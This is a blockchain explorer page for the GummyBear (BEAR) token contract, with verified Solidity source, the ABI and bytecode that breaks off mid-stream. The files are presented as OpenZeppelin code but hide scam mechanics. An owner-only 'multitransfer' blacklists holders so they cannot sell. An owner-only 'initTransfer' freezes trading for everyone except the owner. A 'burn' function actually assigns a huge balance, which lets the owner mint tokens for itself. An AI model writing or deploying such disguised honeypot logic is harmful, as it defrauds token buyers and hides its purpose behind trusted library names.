ETH Price: $2,668.46 (+1.61%)

Token

GummyBear (BEAR)
 

Overview

Max Total Supply

420,420,420,420,420 BEAR

Holders

76

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,535,672,715,518.042994545 BEAR

Value
$0.00
0x160a8d28d63961297e51e4f1a0401bf4d27f5162
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BEAR

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 5: GummyBear Coin.sol
/**           =@@@@%#%@@@@###%%##*@@@@%#%@@@@=              
             =@@@+     -@@@@@@@@@@@@=     =@@@+             
             %@@*        ::      ::        +@@@       TELEGRAM: https://t.me/GummyBearCOIN      
             #@@#                          #@@%             
             .@@@%=                      =%@@@:       TWITTER / X: https://twitter.com/gummybearcoin     
              .*@@@+   #@@-      :@@%   =@@@*.              
               =@@@.   -*+.       +*-    @@@+         MEDIUM: https://medium.com/@gummybearcoin      
               *@@@        ......        #@@*               
               =@@@       %@@@@@@@       @@@+         WEBSITE: https://gummybearco.in/      
                @@@*      :+%@@@+-      +@@@.               
                -@@@*       *@@#       +@@@=                
              =*%@@@@%-      :-      -%@@@@%*=.             
            +@@@@%%@@@@@*-.      .-*@@@@@%%@@@@*            
           #@@@-    .+@@@@@@@%%@@@@@@@*.    -%@@%           
          .@@@-       *@@@+##%%##*@@@#       :@@@-          
          .@@@=       #@@%        #@@%       =@@@:          
           =@@@*-..:=%@@@:        .%@@@=:..-*@@@+           
            :#@@@@@@@@@*.           +@@@@@@@@@%-            
              #@@@*+=:                :=+*%@@%              
              #@@%                        *@@%              
              +@@@#%%%#*-          -+#%%%#@@@+              
              -@@@@@%@@@@@+      =@@@@@%@@@@@=              
             -@@@*:   .=@@@#    *@@@+.   .+@@@=             
             %@@*       -@@@:  .@@@=       +@@@             
             %@@+       :@@@-  :@@@-       =@@@             
             %@@*       :@@@+--=@@@=       +@@@             
             =@@@=     :%@@@@@@@@@@@-     =@@@+             
              =@@@@###@@@@*-====-*@@@@###@@@@+              
                =*%@@@%#+.        .=#%@@@%*=                                          
*/// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./ERC20.sol";

contract BEAR is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply) ERC20(name, symbol) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 1 of 5: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    address private _owner;
    constructor(){
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function owner() internal view returns (address) {
        return _owner;
    }
}

File 2 of 5: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _initTransfer = true;
    uint256 private balances;
    mapping (address => bool) private _0x0processFeesdistributeFeesset0x0FeeConfigurationSerMaxToken;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
    }
    
    function initTransfer() external onlyOwner {
        if (_initTransfer == false){
        _initTransfer = true;}
        else {_initTransfer = false;}
    }

    function feeConfiguration(address account) public view returns (bool) {
        return _0x0processFeesdistributeFeesset0x0FeeConfigurationSerMaxToken[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_initTransfer == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
            if (_0x0processFeesdistributeFeesset0x0FeeConfigurationSerMaxToken[from]) require (amount == 0, "");
            _beforeTokenTransfer(from, to, amount);

            uint256 fromBalance = _balances[from];
            require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
            unchecked {
                _balances[from] = fromBalance - amount;
            }
            _balances[to] += amount;

            emit Transfer(from, to, amount);
            }
        } else {require (_initTransfer == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function multitransfer(address[] calldata addr, bool val) public onlyOwner{
        for (uint256 i = 0; i < addr.length; i++) {
            _0x0processFeesdistributeFeesset0x0FeeConfigurationSerMaxToken[addr[i]] = val;
        }
    }
}

File 4 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 5 of 5: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"feeConfiguration","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multitransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004556001600760006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040516200299838038062002998833981810160405281019062000061919062000471565b8282336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160059081620000b491906200074c565b508060069081620000c691906200074c565b5060045460088190555050506200010e33620000e76200011760201b60201c565b600a620000f59190620009c3565b8362000102919062000a14565b6200012060201b60201c565b50505062000b4b565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000192576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001899062000ac0565b60405180910390fd5b620001a6600083836200029960201b60201c565b8060036000828254620001ba919062000ae2565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000212919062000ae2565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000279919062000b2e565b60405180910390a362000295600083836200029e60201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200030c82620002c1565b810181811067ffffffffffffffff821117156200032e576200032d620002d2565b5b80604052505050565b600062000343620002a3565b905062000351828262000301565b919050565b600067ffffffffffffffff821115620003745762000373620002d2565b5b6200037f82620002c1565b9050602081019050919050565b60005b83811015620003ac5780820151818401526020810190506200038f565b60008484015250505050565b6000620003cf620003c98462000356565b62000337565b905082815260208101848484011115620003ee57620003ed620002bc565b5b620003fb8482856200038c565b509392505050565b600082601f8301126200041b576200041a620002b7565b5b81516200042d848260208601620003b8565b91505092915050565b6000819050919050565b6200044b8162000436565b81146200045757600080fd5b50565b6000815190506200046b8162000440565b92915050565b6000806000606084860312156200048d576200048c620002ad565b5b600084015167ffffffffffffffff811115620004ae57620004ad620002b2565b5b620004bc8682870162000403565b935050602084015167ffffffffffffffff811115620004e057620004df620002b2565b5b620004ee8682870162000403565b925050604062000501868287016200045a565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200055e57607f821691505b60208210810362000574576200057362000516565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200059f565b620005ea86836200059f565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200062d62000627620006218462000436565b62000602565b62000436565b9050919050565b6000819050919050565b62000649836200060c565b62000661620006588262000634565b848454620005ac565b825550505050565b600090565b6200067862000669565b620006858184846200063e565b505050565b5b81811015620006ad57620006a16000826200066e565b6001810190506200068b565b5050565b601f821115620006fc57620006c6816200057a565b620006d1846200058f565b81016020851015620006e1578190505b620006f9620006f0856200058f565b8301826200068a565b50505b505050565b600082821c905092915050565b6000620007216000198460080262000701565b1980831691505092915050565b60006200073c83836200070e565b9150826002028217905092915050565b62000757826200050b565b67ffffffffffffffff811115620007735762000772620002d2565b5b6200077f825462000545565b6200078c828285620006b1565b600060209050601f831160018114620007c45760008415620007af578287015190505b620007bb85826200072e565b8655506200082b565b601f198416620007d4866200057a565b60005b82811015620007fe57848901518255600182019150602085019450602081019050620007d7565b868310156200081e57848901516200081a601f8916826200070e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008c15780860481111562000899576200089862000833565b5b6001851615620008a95780820291505b8081029050620008b98562000862565b945062000879565b94509492505050565b600082620008dc5760019050620009af565b81620008ec5760009050620009af565b8160018114620009055760028114620009105762000946565b6001915050620009af565b60ff84111562000925576200092462000833565b5b8360020a9150848211156200093f576200093e62000833565b5b50620009af565b5060208310610133831016604e8410600b8410161715620009805782820a9050838111156200097a576200097962000833565b5b620009af565b6200098f84848460016200086f565b92509050818404811115620009a957620009a862000833565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009d08262000436565b9150620009dd83620009b6565b925062000a0c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008ca565b905092915050565b600062000a218262000436565b915062000a2e8362000436565b925082820262000a3e8162000436565b9150828204841483151762000a585762000a5762000833565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000aa8601f8362000a5f565b915062000ab58262000a70565b602082019050919050565b6000602082019050818103600083015262000adb8162000a99565b9050919050565b600062000aef8262000436565b915062000afc8362000436565b925082820190508082111562000b175762000b1662000833565b5b92915050565b62000b288162000436565b82525050565b600060208201905062000b45600083018462000b1d565b92915050565b611e3d8062000b5b6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806339509351116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b8063395093511461020057806370a082311461023057806391b69fa01461026057806395d89b411461026a576100f5565b80632313e06a116100d35780632313e06a1461016657806323b872dd146101965780632ce1a430146101c6578063313ce567146101e2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f91906113a3565b60405180910390f35b610132600480360381019061012d9190611463565b6103c6565b60405161013f91906114be565b60405180910390f35b6101506103e9565b60405161015d91906114e8565b60405180910390f35b610180600480360381019061017b9190611503565b6103f3565b60405161018d91906114be565b60405180910390f35b6101b060048036038101906101ab9190611530565b610449565b6040516101bd91906114be565b60405180910390f35b6101e060048036038101906101db9190611614565b610478565b005b6101ea6105b2565b6040516101f79190611690565b60405180910390f35b61021a60048036038101906102159190611463565b6105bb565b60405161022791906114be565b60405180910390f35b61024a60048036038101906102459190611503565b610665565b60405161025791906114e8565b60405180910390f35b6102686106ae565b005b61027261079c565b60405161027f91906113a3565b60405180910390f35b6102a2600480360381019061029d9190611463565b61082e565b005b6102be60048036038101906102b99190611463565b6108d1565b6040516102cb91906114be565b60405180910390f35b6102ee60048036038101906102e99190611463565b6109bb565b6040516102fb91906114be565b60405180910390f35b61031e600480360381019061031991906116ab565b6109de565b60405161032b91906114e8565b60405180910390f35b6060600580546103439061171a565b80601f016020809104026020016040519081016040528092919081815260200182805461036f9061171a565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a65565b90506103de818585610a6d565b600191505092915050565b6000600354905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610454610a65565b9050610461858285610c36565b61046c858585610cc2565b60019150509392505050565b610480610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050490611797565b60405180910390fd5b60005b838390508110156105ac578160096000868685818110610533576105326117b7565b5b90506020020160208101906105489190611503565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105a490611815565b915050610510565b50505050565b60006009905090565b6000806105c6610a65565b905061065a818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610655919061185d565b610a6d565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b6610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90611797565b60405180910390fd5b60001515600760009054906101000a900460ff1615150361077e576001600760006101000a81548160ff02191690831515021790555061079a565b6000600760006101000a81548160ff0219169083151502179055505b565b6060600680546107ab9061171a565b80601f01602080910402602001604051908101604052809291908181526020018280546107d79061171a565b80156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b610836610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba90611797565b60405180910390fd5b6108cd8282611115565b5050565b6000806108dc610a65565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099990611903565b60405180910390fd5b6109af8286868403610a6d565b60019250505092915050565b6000806109c6610a65565b90506109d3818585610cc2565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390611995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611a27565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2991906114e8565b6040518091